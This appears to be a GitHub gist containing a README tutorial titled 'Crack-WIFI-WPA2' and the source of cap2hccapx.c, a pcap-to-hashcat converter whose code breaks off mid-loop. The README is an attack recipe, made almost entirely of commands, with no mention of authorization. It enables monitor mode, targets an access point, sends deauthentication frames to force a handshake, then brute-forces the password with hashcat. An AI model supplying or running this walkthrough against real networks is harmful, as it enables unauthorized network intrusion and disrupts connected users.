Skip to content

Instantly share code, notes, and snippets.

@jspw
Created April 25, 2020 12:11
Show Gist options
  • Select an option

  • Save jspw/1bd5cdec53b31d9e2286e98dbbc3b6e5 to your computer and use it in GitHub Desktop.

Select an option

Save jspw/1bd5cdec53b31d9e2286e98dbbc3b6e5 to your computer and use it in GitHub Desktop.

Revisions

  1. jspw created this gist Apr 25, 2020.
    71 changes: 71 additions & 0 deletions README.MD
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,71 @@
    ## Crack-WIFI-WPA2

    ### Lets capture the flag (I mean Handshake):

    #### Terminal-1:
    1. Detect your wireless network interface :
    > `ifconfig` <br>
    **if coudn't find command then try :**

    >```/sbin/ifconfig``` <br>
    <i>lets take **wlp3s0** as the wireless interface</i>


    2. Start monitor mode :
    > `airmon-ng start wlp3s0`

    3. capture traffic :
    > ```airodump-ng wlp3s0mon```

    #### Terminal-2:

    4. select target and focus on one AP on channel:
    > `airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon`
    - **xx.xx.xx.xx.xx.xx** defines : **AP BSSID** -> 00.11.22.33.44.55 (suppose)
    - **y** defines : **AP channel** -> 10 (suppose)
    - **filename** is the file name where the **handshake** will captute and make some other stuffs .


    #### Terminal-3:
    5. Send traffic to the channel :
    > aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx wlp3s0mon
    - ammoun of **traffic**-> y


    6. Capture handshake : it will be shown in the monitor if captured ! at **Terminal-2**.


    7. Now you got the handshake .**(terminal-2)**

    8. Stop the process of terminal-2 : ``ctrl+c``

    ### Now Lets crack the password !


    **There will be a WPAcrack-01.cap file in your home directory**


    1. convert cap file into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php

    or

    1. use **cap2hccapx.c** file to convert the **cap** file to **hccapx** file
    > `gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx`
    2. Crack password using **hashcat** :
    - **Install hashcat :**`sudo apt install hashcat`
    - check is everything oky ? : `hashcat -I` **to use hashcat you need gpu**
    - crack password :
    > ```hashcat -m 2500 wpacrack.hccapx dictionary.txt```
    dictionary.txt -> word list (suppose)
    wpacrack.hccapx is the handshake file


    Then you will get the password.
    1,357 changes: 1,357 additions & 0 deletions cap2hccapx.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,1357 @@


    /**
    * Name........: cap2hccapx.c
    * Autor.......: Jens Steube <[email protected]>, Philipp "philsmd" Schmidt <[email protected]>
    * License.....: MIT
    */


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <stdbool.h>
    #include <search.h>
    #include <errno.h>
    #include <inttypes.h>

    #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
    #define BIG_ENDIAN_HOST
    #endif

    #if defined (_WIN32) || defined (_WIN64)
    typedef unsigned int lsearch_cnt_t;
    #else
    typedef size_t lsearch_cnt_t;
    #endif

    #pragma pack(1)



    typedef uint8_t u8;
    typedef uint16_t u16;
    typedef uint32_t u32;
    typedef uint64_t u64;

    // from pcap.h

    #define TCPDUMP_MAGIC 0xa1b2c3d4
    #define TCPDUMP_CIGAM 0xd4c3b2a1

    #define TCPDUMP_DECODE_LEN 65535

    #define DLT_NULL 0 /* BSD loopback encapsulation */
    #define DLT_EN10MB 1 /* Ethernet (10Mb) */
    #define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */
    #define DLT_AX25 3 /* Amateur Radio AX.25 */
    #define DLT_PRONET 4 /* Proteon ProNET Token Ring */
    #define DLT_CHAOS 5 /* Chaos */
    #define DLT_IEEE802 6 /* IEEE 802 Networks */
    #define DLT_ARCNET 7 /* ARCNET, with BSD-style header */
    #define DLT_SLIP 8 /* Serial Line IP */
    #define DLT_PPP 9 /* Point-to-point Protocol */
    #define DLT_FDDI 10 /* FDDI */
    #define DLT_RAW 12 /* Raw headers (no link layer) */
    #define DLT_RAW2 14
    #define DLT_RAW3 101

    #define DLT_IEEE802_11 105 /* IEEE 802.11 wireless */
    #define DLT_IEEE802_11_PRISM 119
    #define DLT_IEEE802_11_RADIO 127
    #define DLT_IEEE802_11_PPI_HDR 192

    struct pcap_file_header {
    u32 magic;
    u16 version_major;
    u16 version_minor;
    u32 thiszone; /* gmt to local correction */
    u32 sigfigs; /* accuracy of timestamps */
    u32 snaplen; /* max length saved portion of each pkt */
    u32 linktype; /* data link type (LINKTYPE_*) */
    };

    struct pcap_pkthdr {
    u32 tv_sec; /* timestamp seconds */
    u32 tv_usec; /* timestamp microseconds */
    u32 caplen; /* length of portion present */
    u32 len; /* length this packet (off wire) */
    };

    typedef struct pcap_file_header pcap_file_header_t;
    typedef struct pcap_pkthdr pcap_pkthdr_t;

    // from linux/ieee80211.h

    struct ieee80211_hdr_3addr {
    u16 frame_control;
    u16 duration_id;
    u8 addr1[6];
    u8 addr2[6];
    u8 addr3[6];
    u16 seq_ctrl;

    } __attribute__((packed));

    struct ieee80211_qos_hdr {
    u16 frame_control;
    u16 duration_id;
    u8 addr1[6];
    u8 addr2[6];
    u8 addr3[6];
    u16 seq_ctrl;
    u16 qos_ctrl;

    } __attribute__((packed));

    typedef struct ieee80211_hdr_3addr ieee80211_hdr_3addr_t;
    typedef struct ieee80211_qos_hdr ieee80211_qos_hdr_t;

    struct ieee80211_llc_snap_header
    {
    /* LLC part: */
    u8 dsap; /**< Destination SAP ID */
    u8 ssap; /**< Source SAP ID */
    u8 ctrl; /**< Control information */

    /* SNAP part: */
    u8 oui[3]; /**< Organization code, usually 0 */
    u16 ethertype; /**< Ethernet Type field */

    } __attribute__((packed));

    typedef struct ieee80211_llc_snap_header ieee80211_llc_snap_header_t;

    #define IEEE80211_FCTL_FTYPE 0x000c
    #define IEEE80211_FCTL_STYPE 0x00f0
    #define IEEE80211_FCTL_TODS 0x0100
    #define IEEE80211_FCTL_FROMDS 0x0200

    #define IEEE80211_FTYPE_MGMT 0x0000
    #define IEEE80211_FTYPE_DATA 0x0008

    #define IEEE80211_STYPE_ASSOC_REQ 0x0000
    #define IEEE80211_STYPE_ASSOC_RESP 0x0010
    #define IEEE80211_STYPE_REASSOC_REQ 0x0020
    #define IEEE80211_STYPE_REASSOC_RESP 0x0030
    #define IEEE80211_STYPE_PROBE_REQ 0x0040
    #define IEEE80211_STYPE_PROBE_RESP 0x0050
    #define IEEE80211_STYPE_BEACON 0x0080
    #define IEEE80211_STYPE_QOS_DATA 0x0080
    #define IEEE80211_STYPE_ATIM 0x0090
    #define IEEE80211_STYPE_DISASSOC 0x00A0
    #define IEEE80211_STYPE_AUTH 0x00B0
    #define IEEE80211_STYPE_DEAUTH 0x00C0
    #define IEEE80211_STYPE_ACTION 0x00D0

    #define IEEE80211_LLC_DSAP 0xAA
    #define IEEE80211_LLC_SSAP 0xAA
    #define IEEE80211_LLC_CTRL 0x03
    #define IEEE80211_DOT1X_AUTHENTICATION 0x8E88

    /* Management Frame Information Element Types */
    #define MFIE_TYPE_SSID 0
    #define MFIE_TYPE_RATES 1
    #define MFIE_TYPE_FH_SET 2
    #define MFIE_TYPE_DS_SET 3
    #define MFIE_TYPE_CF_SET 4
    #define MFIE_TYPE_TIM 5
    #define MFIE_TYPE_IBSS_SET 6
    #define MFIE_TYPE_CHALLENGE 16
    #define MFIE_TYPE_ERP 42
    #define MFIE_TYPE_RSN 48
    #define MFIE_TYPE_RATES_EX 50
    #define MFIE_TYPE_GENERIC 221

    // from ks7010/eap_packet.h

    #define WBIT(n) (1 << (n))

    #define WPA_KEY_INFO_TYPE_MASK (WBIT(0) | WBIT(1) | WBIT(2))
    #define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 WBIT(0)
    #define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES WBIT(1)
    #define WPA_KEY_INFO_KEY_TYPE WBIT(3) /* 1 = Pairwise, 0 = Group key */
    #define WPA_KEY_INFO_KEY_INDEX_MASK (WBIT(4) | WBIT(5))
    #define WPA_KEY_INFO_KEY_INDEX_SHIFT 4
    #define WPA_KEY_INFO_INSTALL WBIT(6) /* pairwise */
    #define WPA_KEY_INFO_TXRX WBIT(6) /* group */
    #define WPA_KEY_INFO_ACK WBIT(7)
    #define WPA_KEY_INFO_MIC WBIT(8)
    #define WPA_KEY_INFO_SECURE WBIT(9)
    #define WPA_KEY_INFO_ERROR WBIT(10)
    #define WPA_KEY_INFO_REQUEST WBIT(11)
    #define WPA_KEY_INFO_ENCR_KEY_DATA WBIT(12) /* IEEE 802.11i/RSN only */

    // radiotap header from http://www.radiotap.org/

    struct ieee80211_radiotap_header
    {
    u8 it_version; /* set to 0 */
    u8 it_pad;
    u16 it_len; /* entire length */
    u32 it_present; /* fields present */

    } __attribute__((packed));

    typedef struct ieee80211_radiotap_header ieee80211_radiotap_header_t;

    // prism header

    #define WLAN_DEVNAMELEN_MAX 16

    struct prism_item
    {
    u32 did;
    u16 status;
    u16 len;
    u32 data;

    } __attribute__((packed));

    struct prism_header
    {
    u32 msgcode;
    u32 msglen;

    char devname[WLAN_DEVNAMELEN_MAX];

    struct prism_item hosttime;
    struct prism_item mactime;
    struct prism_item channel;
    struct prism_item rssi;
    struct prism_item sq;
    struct prism_item signal;
    struct prism_item noise;
    struct prism_item rate;
    struct prism_item istx;
    struct prism_item frmlen;

    } __attribute__((packed));

    typedef struct prism_item prism_item_t;
    typedef struct prism_header prism_header_t;

    /* CACE PPI headers */
    struct ppi_packet_header
    {
    uint8_t pph_version;
    uint8_t pph_flags;
    uint16_t pph_len;
    uint32_t pph_dlt;
    } __attribute__((packed));

    typedef struct ppi_packet_header ppi_packet_header_t;

    struct ppi_field_header
    {
    uint16_t pfh_datatype;
    uint16_t pfh_datalen;
    } __attribute__((__packed__));

    typedef struct ppi_field_header ppi_field_header_t;

    #define PPI_FIELD_11COMMON 2
    #define PPI_FIELD_11NMAC 3
    #define PPI_FIELD_11NMACPHY 4
    #define PPI_FIELD_SPECMAP 5
    #define PPI_FIELD_PROCINFO 6
    #define PPI_FIELD_CAPINFO 7

    // own structs

    struct beaconinfo
    {
    u64 beacon_timestamp;
    u16 beacon_interval;
    u16 beacon_capabilities;

    } __attribute__((packed));

    typedef struct beaconinfo beacon_t;

    struct associationreqf
    {
    u16 client_capabilities;
    u16 client_listeninterval;

    } __attribute__((packed));

    typedef struct associationreqf assocreq_t;

    struct reassociationreqf
    {
    u16 client_capabilities;
    u16 client_listeninterval;
    u8 addr[6];

    } __attribute__((packed));

    typedef struct reassociationreqf reassocreq_t;

    struct auth_packet
    {
    u8 version;
    u8 type;
    u16 length;
    u8 key_descriptor;
    u16 key_information;
    u16 key_length;
    u64 replay_counter;
    u8 wpa_key_nonce[32];
    u8 wpa_key_iv[16];
    u8 wpa_key_rsc[8];
    u8 wpa_key_id[8];
    u8 wpa_key_mic[16];
    u16 wpa_key_data_length;

    } __attribute__((packed));

    typedef struct auth_packet auth_packet_t;

    #define MAX_ESSID_LEN 32

    typedef enum
    {
    ESSID_SOURCE_USER = 1,
    ESSID_SOURCE_REASSOC = 2,
    ESSID_SOURCE_ASSOC = 3,
    ESSID_SOURCE_PROBE = 4,
    ESSID_SOURCE_DIRECTED_PROBE = 5,
    ESSID_SOURCE_BEACON = 6,

    } essid_source_t;

    typedef struct
    {
    u8 bssid[6];
    char essid[MAX_ESSID_LEN + 4];
    int essid_len;
    int essid_source;

    } essid_t;

    #define EAPOL_TTL 1
    #define TEST_REPLAYCOUNT 0

    typedef enum
    {
    EXC_PKT_NUM_1 = 1,
    EXC_PKT_NUM_2 = 2,
    EXC_PKT_NUM_3 = 3,
    EXC_PKT_NUM_4 = 4,

    } exc_pkt_num_t;

    typedef enum
    {
    MESSAGE_PAIR_M12E2 = 0,
    MESSAGE_PAIR_M14E4 = 1,
    MESSAGE_PAIR_M32E2 = 2,
    MESSAGE_PAIR_M32E3 = 3,
    MESSAGE_PAIR_M34E3 = 4,
    MESSAGE_PAIR_M34E4 = 5,

    } message_pair_t;

    #define BROADCAST_MAC "\xff\xff\xff\xff\xff\xff"

    typedef struct
    {
    int excpkt_num;

    u32 tv_sec;
    u32 tv_usec;

    u64 replay_counter;

    u8 mac_ap[6];
    u8 mac_sta[6];

    u8 nonce[32];

    u16 eapol_len;
    u8 eapol[256];

    u8 keyver;
    u8 keymic[16];

    } excpkt_t;

    // databases

    #define DB_ESSID_MAX 50000
    #define DB_EXCPKT_MAX 100000

    essid_t *essids = NULL;
    lsearch_cnt_t essids_cnt = 0;

    excpkt_t *excpkts = NULL;
    lsearch_cnt_t excpkts_cnt = 0;

    // output

    #define HCCAPX_VERSION 4
    #define HCCAPX_SIGNATURE 0x58504348 // HCPX

    struct hccapx
    {
    u32 signature;
    u32 version;
    u8 message_pair;
    u8 essid_len;
    u8 essid[32];
    u8 keyver;
    u8 keymic[16];
    u8 mac_ap[6];
    u8 nonce_ap[32];
    u8 mac_sta[6];
    u8 nonce_sta[32];
    u16 eapol_len;
    u8 eapol[256];

    } __attribute__((packed));

    typedef struct hccapx hccapx_t;

    // functions

    static u8 hex_convert (const u8 c)
    {
    return (c & 15) + (c >> 6) * 9;
    }

    static u8 hex_to_u8 (const u8 hex[2])
    {
    u8 v = 0;

    v |= ((u8) hex_convert (hex[1]) << 0);
    v |= ((u8) hex_convert (hex[0]) << 4);

    return (v);
    }

    static u16 byte_swap_16 (const u16 n)
    {
    return (n & 0xff00) >> 8
    | (n & 0x00ff) << 8;
    }

    static u32 byte_swap_32 (const u32 n)
    {
    return (n & 0xff000000) >> 24
    | (n & 0x00ff0000) >> 8
    | (n & 0x0000ff00) << 8
    | (n & 0x000000ff) << 24;
    }

    static u64 byte_swap_64 (const u64 n)
    {
    return (n & 0xff00000000000000ULL) >> 56
    | (n & 0x00ff000000000000ULL) >> 40
    | (n & 0x0000ff0000000000ULL) >> 24
    | (n & 0x000000ff00000000ULL) >> 8
    | (n & 0x00000000ff000000ULL) << 8
    | (n & 0x0000000000ff0000ULL) << 24
    | (n & 0x000000000000ff00ULL) << 40
    | (n & 0x00000000000000ffULL) << 56;
    }

    int comp_excpkt (const void *p1, const void *p2)
    {
    excpkt_t *e1 = (excpkt_t *) p1;
    excpkt_t *e2 = (excpkt_t *) p2;

    const int excpkt_diff = e1->excpkt_num - e2->excpkt_num;

    if (excpkt_diff != 0) return excpkt_diff;

    const int rc_nonce = memcmp (e1->nonce, e2->nonce, 32);

    if (rc_nonce != 0) return rc_nonce;

    const int rc_mac_ap = memcmp (e1->mac_ap, e2->mac_ap, 6);

    if (rc_mac_ap != 0) return rc_mac_ap;

    const int rc_mac_sta = memcmp (e1->mac_sta, e2->mac_sta, 6);

    if (rc_mac_sta != 0) return rc_mac_sta;

    if (e1->replay_counter < e2->replay_counter) return 1;
    if (e1->replay_counter > e2->replay_counter) return -1;

    return 0;
    }

    int comp_bssid (const void *p1, const void *p2)
    {
    essid_t *e1 = (essid_t *) p1;
    essid_t *e2 = (essid_t *) p2;

    return memcmp (e1->bssid, e2->bssid, 6);
    }

    static void db_excpkt_add (excpkt_t *excpkt, const u32 tv_sec, const u32 tv_usec, const u8 mac_ap[6], const u8 mac_sta[6])
    {
    if (essids_cnt == DB_EXCPKT_MAX)
    {
    fprintf (stderr, "Too many excpkt in dumpfile, aborting...\n");

    exit (-1);
    }

    excpkt->tv_sec = tv_sec;
    excpkt->tv_usec = tv_usec;

    memcpy (excpkt->mac_ap, mac_ap, 6);
    memcpy (excpkt->mac_sta, mac_sta, 6);

    lsearch (excpkt, excpkts, &excpkts_cnt, sizeof (excpkt_t), comp_excpkt);
    }

    static void db_essid_add (essid_t *essid, const u8 addr3[6], const int essid_source)
    {
    if (essids_cnt == DB_ESSID_MAX)
    {
    fprintf (stderr, "Too many essid in dumpfile, aborting...\n");

    exit (-1);
    }

    if (essid->essid_len == 0) return;

    if (essid->essid[0] == 0) return;

    memcpy (essid->bssid, addr3, 6);

    void *ptr = lfind (essid, essids, &essids_cnt, sizeof (essid_t), comp_bssid);

    if (ptr == NULL)
    {
    essid->essid_source = essid_source;

    lsearch (essid, essids, &essids_cnt, sizeof (essid_t), comp_bssid);
    }
    else
    {
    essid_t *essid_old = (essid_t *) ptr;

    if (essid_source > essid_old->essid_source)
    {
    memcpy (essid_old, essid, sizeof (essid_t));

    essid_old->essid_source = essid_source;
    }
    }
    }

    static int handle_llc (const ieee80211_llc_snap_header_t *ieee80211_llc_snap_header)
    {
    if (ieee80211_llc_snap_header->dsap != IEEE80211_LLC_DSAP) return -1;
    if (ieee80211_llc_snap_header->ssap != IEEE80211_LLC_SSAP) return -1;
    if (ieee80211_llc_snap_header->ctrl != IEEE80211_LLC_CTRL) return -1;

    if (ieee80211_llc_snap_header->ethertype != IEEE80211_DOT1X_AUTHENTICATION) return -1;

    return 0;
    }

    static int handle_auth (const auth_packet_t *auth_packet, const int pkt_offset, const int pkt_size, excpkt_t *excpkt)
    {
    const u16 ap_length = byte_swap_16 (auth_packet->length);
    const u16 ap_key_information = byte_swap_16 (auth_packet->key_information);
    const u64 ap_replay_counter = byte_swap_64 (auth_packet->replay_counter);
    const u16 ap_wpa_key_data_length = byte_swap_16 (auth_packet->wpa_key_data_length);

    if (ap_length == 0) return -1;

    // determine handshake exchange number

    int excpkt_num = 0;

    if (ap_key_information & WPA_KEY_INFO_ACK)
    {
    if (ap_key_information & WPA_KEY_INFO_INSTALL)
    {
    excpkt_num = EXC_PKT_NUM_3;
    }
    else
    {
    excpkt_num = EXC_PKT_NUM_1;
    }
    }
    else
    {
    if (ap_key_information & WPA_KEY_INFO_SECURE)
    {
    excpkt_num = EXC_PKT_NUM_4;
    }
    else
    {
    excpkt_num = EXC_PKT_NUM_2;
    }
    }

    // we're only interested in packets carrying a nonce

    char zero[32] = { 0 };

    if (memcmp (auth_packet->wpa_key_nonce, zero, 32) == 0) return -1;

    // copy data

    memcpy (excpkt->nonce, auth_packet->wpa_key_nonce, 32);

    excpkt->replay_counter = ap_replay_counter;

    excpkt->excpkt_num = excpkt_num;

    excpkt->eapol_len = sizeof (auth_packet_t) + ap_wpa_key_data_length;

    if ((pkt_offset + excpkt->eapol_len) > pkt_size) return -1;

    if ((sizeof (auth_packet_t) + ap_wpa_key_data_length) > sizeof (excpkt->eapol)) return -1;

    // we need to copy the auth_packet_t but have to clear the keymic
    auth_packet_t auth_packet_orig;

    memcpy (&auth_packet_orig, auth_packet, sizeof (auth_packet_t));

    #ifdef BIG_ENDIAN_HOST
    auth_packet_orig.length = byte_swap_16 (auth_packet_orig.length);
    auth_packet_orig.key_information = byte_swap_16 (auth_packet_orig.key_information);
    auth_packet_orig.key_length = byte_swap_16 (auth_packet_orig.key_length);
    auth_packet_orig.replay_counter = byte_swap_64 (auth_packet_orig.replay_counter);
    auth_packet_orig.wpa_key_data_length = byte_swap_16 (auth_packet_orig.wpa_key_data_length);
    #endif

    memset (auth_packet_orig.wpa_key_mic, 0, 16);

    memcpy (excpkt->eapol, &auth_packet_orig, sizeof (auth_packet_t));
    memcpy (excpkt->eapol + sizeof (auth_packet_t), auth_packet + 1, ap_wpa_key_data_length);

    memcpy (excpkt->keymic, auth_packet->wpa_key_mic, 16);

    excpkt->keyver = ap_key_information & WPA_KEY_INFO_TYPE_MASK;

    if ((excpkt_num == EXC_PKT_NUM_3) || (excpkt_num == EXC_PKT_NUM_4))
    {
    excpkt->replay_counter--;
    }

    return 0;
    }

    static int get_essid_from_user (char *s, essid_t *essid)
    {
    char *man_essid = s;
    char *man_bssid = strchr (man_essid, ':');

    if (man_bssid == NULL)
    {
    fprintf (stderr, "Invalid format (%s), should be: MyESSID:d110391a58ac\n", s);

    return -1;
    }

    *man_bssid = 0;

    man_bssid++;

    if (strlen (man_essid) >= 32)
    {
    fprintf (stderr, "Invalid format (%s), essid is too long\n", s);

    return -1;
    }

    if (strlen (man_bssid) != 12)
    {
    fprintf (stderr, "Invalid format (%s), bssid must have length 12\n", s);

    return -1;
    }

    strncpy (essid->essid, man_essid, 32);

    essid->essid_len = strlen (essid->essid);

    u8 bssid[6];

    bssid[0] = hex_to_u8 ((u8 *) man_bssid); man_bssid += 2;
    bssid[1] = hex_to_u8 ((u8 *) man_bssid); man_bssid += 2;
    bssid[2] = hex_to_u8 ((u8 *) man_bssid); man_bssid += 2;
    bssid[3] = hex_to_u8 ((u8 *) man_bssid); man_bssid += 2;
    bssid[4] = hex_to_u8 ((u8 *) man_bssid); man_bssid += 2;
    bssid[5] = hex_to_u8 ((u8 *) man_bssid); man_bssid += 2;

    db_essid_add (essid, bssid, ESSID_SOURCE_USER);

    return 0;
    }

    static int get_essid_from_tag (const u8 *packet, const pcap_pkthdr_t *header, u32 length_skip, essid_t *essid)
    {
    if (length_skip > header->caplen) return -1;

    u32 length = header->caplen - length_skip;

    const u8 *beacon = packet + length_skip;

    const u8 *cur = beacon;
    const u8 *end = beacon + length;

    while (cur < end)
    {
    if ((cur + 2) >= end) break;

    u8 tagtype = *cur++;
    u8 taglen = *cur++;

    if ((cur + taglen) >= end) break;

    if (tagtype == MFIE_TYPE_SSID)
    {
    if (taglen < MAX_ESSID_LEN)
    {
    memcpy (essid->essid, cur, taglen);

    essid->essid_len = taglen;

    return 0;
    }
    }

    cur += taglen;
    }

    return -1;
    }

    static void process_packet (const u8 *packet, const pcap_pkthdr_t *header)
    {
    if (header->caplen < sizeof (ieee80211_hdr_3addr_t)) return;

    // our first header: ieee80211

    ieee80211_hdr_3addr_t *ieee80211_hdr_3addr = (ieee80211_hdr_3addr_t *) packet;

    #ifdef BIG_ENDIAN_HOST
    ieee80211_hdr_3addr->frame_control = byte_swap_16 (ieee80211_hdr_3addr->frame_control);
    ieee80211_hdr_3addr->duration_id = byte_swap_16 (ieee80211_hdr_3addr->duration_id);
    ieee80211_hdr_3addr->seq_ctrl = byte_swap_16 (ieee80211_hdr_3addr->seq_ctrl);
    #endif

    const u16 frame_control = ieee80211_hdr_3addr->frame_control;

    if ((frame_control & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_MGMT)
    {
    if (memcmp (ieee80211_hdr_3addr->addr3, BROADCAST_MAC, 6) == 0) return;

    essid_t essid;

    memset (&essid, 0, sizeof (essid_t));

    const int stype = frame_control & IEEE80211_FCTL_STYPE;

    if (stype == IEEE80211_STYPE_BEACON)
    {
    const u32 length_skip = sizeof (ieee80211_hdr_3addr_t) + sizeof (beacon_t);

    const int rc_beacon = get_essid_from_tag (packet, header, length_skip, &essid);

    if (rc_beacon == -1) return;

    db_essid_add (&essid, ieee80211_hdr_3addr->addr3, ESSID_SOURCE_BEACON);
    }
    else if (stype == IEEE80211_STYPE_PROBE_REQ)
    {
    const u32 length_skip = sizeof (ieee80211_hdr_3addr_t);

    const int rc_beacon = get_essid_from_tag (packet, header, length_skip, &essid);

    if (rc_beacon == -1) return;

    db_essid_add (&essid, ieee80211_hdr_3addr->addr3, ESSID_SOURCE_PROBE);
    }
    else if (stype == IEEE80211_STYPE_PROBE_RESP)
    {
    const u32 length_skip = sizeof (ieee80211_hdr_3addr_t) + sizeof (beacon_t);

    const int rc_beacon = get_essid_from_tag (packet, header, length_skip, &essid);

    if (rc_beacon == -1) return;

    db_essid_add (&essid, ieee80211_hdr_3addr->addr3, ESSID_SOURCE_PROBE);
    }
    else if (stype == IEEE80211_STYPE_ASSOC_REQ)
    {
    const u32 length_skip = sizeof (ieee80211_hdr_3addr_t) + sizeof (assocreq_t);

    const int rc_beacon = get_essid_from_tag (packet, header, length_skip, &essid);

    if (rc_beacon == -1) return;

    db_essid_add (&essid, ieee80211_hdr_3addr->addr3, ESSID_SOURCE_ASSOC);
    }
    else if (stype == IEEE80211_STYPE_REASSOC_REQ)
    {
    const u32 length_skip = sizeof (ieee80211_hdr_3addr_t) + sizeof (reassocreq_t);

    const int rc_beacon = get_essid_from_tag (packet, header, length_skip, &essid);

    if (rc_beacon == -1) return;

    db_essid_add (&essid, ieee80211_hdr_3addr->addr3, ESSID_SOURCE_REASSOC);
    }
    }
    else if ((frame_control & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_DATA)
    {
    // process header: ieee80211

    int addr4_exist = ((frame_control & (IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS)) ==
    (IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS));

    // find offset to llc/snap header

    int llc_offset;

    if ((frame_control & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_QOS_DATA)
    {
    llc_offset = sizeof (ieee80211_qos_hdr_t);
    }
    else
    {
    llc_offset = sizeof (ieee80211_hdr_3addr_t);
    }

    // process header: the llc/snap header

    if (header->caplen < (llc_offset + sizeof (ieee80211_llc_snap_header_t))) return;
    if (addr4_exist) llc_offset += 6;

    ieee80211_llc_snap_header_t *ieee80211_llc_snap_header = (ieee80211_llc_snap_header_t *) &packet[llc_offset];

    #ifdef BIG_ENDIAN_HOST
    ieee80211_llc_snap_header->ethertype = byte_swap_16 (ieee80211_llc_snap_header->ethertype);
    #endif

    const int rc_llc = handle_llc (ieee80211_llc_snap_header);

    if (rc_llc == -1) return;

    // process header: the auth header

    const int auth_offset = llc_offset + sizeof (ieee80211_llc_snap_header_t);

    if (header->caplen < (auth_offset + sizeof (auth_packet_t))) return;

    auth_packet_t *auth_packet = (auth_packet_t *) &packet[auth_offset];

    #ifdef BIG_ENDIAN_HOST
    auth_packet->length = byte_swap_16 (auth_packet->length);
    auth_packet->key_information = byte_swap_16 (auth_packet->key_information);
    auth_packet->key_length = byte_swap_16 (auth_packet->key_length);
    auth_packet->replay_counter = byte_swap_64 (auth_packet->replay_counter);
    auth_packet->wpa_key_data_length = byte_swap_16 (auth_packet->wpa_key_data_length);
    #endif

    excpkt_t excpkt;

    memset (&excpkt, 0, sizeof (excpkt_t));

    const int rc_auth = handle_auth (auth_packet, auth_offset, header->caplen, &excpkt);

    if (rc_auth == -1) return;

    if ((excpkt.excpkt_num == EXC_PKT_NUM_1) || (excpkt.excpkt_num == EXC_PKT_NUM_3))
    {
    db_excpkt_add (&excpkt, header->tv_sec, header->tv_usec, ieee80211_hdr_3addr->addr2, ieee80211_hdr_3addr->addr1);
    }
    else if ((excpkt.excpkt_num == EXC_PKT_NUM_2) || (excpkt.excpkt_num == EXC_PKT_NUM_4))
    {
    db_excpkt_add (&excpkt, header->tv_sec, header->tv_usec, ieee80211_hdr_3addr->addr1, ieee80211_hdr_3addr->addr2);
    }
    }
    }

    int main (int argc, char *argv[])
    {
    if ((argc != 3) && (argc != 4) && (argc != 5))
    {
    fprintf (stderr, "usage: %s input.pcap output.hccapx [filter by essid] [additional network essid:bssid]\n", argv[0]);

    return -1;
    }

    char *in = argv[1];
    char *out = argv[2];

    char *essid_filter = NULL;

    if (argc >= 4) essid_filter = argv[3];

    // database initializations

    essids = (essid_t *) calloc (DB_ESSID_MAX, sizeof (essid_t));
    essids_cnt = 0;

    excpkts = (excpkt_t *) calloc (DB_EXCPKT_MAX, sizeof (excpkt_t));
    excpkts_cnt = 0;

    // manual beacon

    if (argc >= 5)
    {
    essid_t essid;

    memset (&essid, 0, sizeof (essid_t));

    const int rc = get_essid_from_user (argv[4], &essid);

    if (rc == -1) return -1;
    }

    // start with pcap handling

    FILE *pcap = fopen (in, "rb");

    if (pcap == NULL)
    {
    fprintf (stderr, "%s: %s\n", in, strerror (errno));

    return -1;
    }

    // check pcap header

    pcap_file_header_t pcap_file_header;

    const int nread = fread (&pcap_file_header, sizeof (pcap_file_header_t), 1, pcap);

    if (nread != 1)
    {
    fprintf (stderr, "%s: Could not read pcap header\n", in);

    return -1;
    }

    #ifdef BIG_ENDIAN_HOST
    pcap_file_header.magic = byte_swap_32 (pcap_file_header.magic);
    pcap_file_header.version_major = byte_swap_16 (pcap_file_header.version_major);
    pcap_file_header.version_minor = byte_swap_16 (pcap_file_header.version_minor);
    pcap_file_header.thiszone = byte_swap_32 (pcap_file_header.thiszone);
    pcap_file_header.sigfigs = byte_swap_32 (pcap_file_header.sigfigs);
    pcap_file_header.snaplen = byte_swap_32 (pcap_file_header.snaplen);
    pcap_file_header.linktype = byte_swap_32 (pcap_file_header.linktype);
    #endif

    int bitness = 0;

    if (pcap_file_header.magic == TCPDUMP_MAGIC)
    {
    bitness = 0;
    }
    else if (pcap_file_header.magic == TCPDUMP_CIGAM)
    {
    bitness = 1;
    }
    else
    {
    fprintf (stderr, "%s: Invalid pcap header\n", in);

    return 1;
    }

    if (bitness == 1)
    {
    pcap_file_header.magic = byte_swap_32 (pcap_file_header.magic);
    pcap_file_header.version_major = byte_swap_16 (pcap_file_header.version_major);
    pcap_file_header.version_minor = byte_swap_16 (pcap_file_header.version_minor);
    pcap_file_header.thiszone = byte_swap_32 (pcap_file_header.thiszone);
    pcap_file_header.sigfigs = byte_swap_32 (pcap_file_header.sigfigs);
    pcap_file_header.snaplen = byte_swap_32 (pcap_file_header.snaplen);
    pcap_file_header.linktype = byte_swap_32 (pcap_file_header.linktype);
    }

    if ((pcap_file_header.linktype != DLT_IEEE802_11)
    && (pcap_file_header.linktype != DLT_IEEE802_11_PRISM)
    && (pcap_file_header.linktype != DLT_IEEE802_11_RADIO)
    && (pcap_file_header.linktype != DLT_IEEE802_11_PPI_HDR))
    {
    fprintf (stderr, "%s: Unsupported linktype detected\n", in);

    return -1;
    }

    // walk the packets

    while (!feof (pcap))
    {
    pcap_pkthdr_t header;

    const int nread1 = fread (&header, sizeof (pcap_pkthdr_t), 1, pcap);

    if (nread1 != 1) continue;

    #ifdef BIG_ENDIAN_HOST
    header.tv_sec = byte_swap_32 (header.tv_sec);
    header.tv_usec = byte_swap_32 (header.tv_usec);
    header.caplen = byte_swap_32 (header.caplen);
    header.len = byte_swap_32 (header.len);
    #endif

    if (bitness == 1)
    {
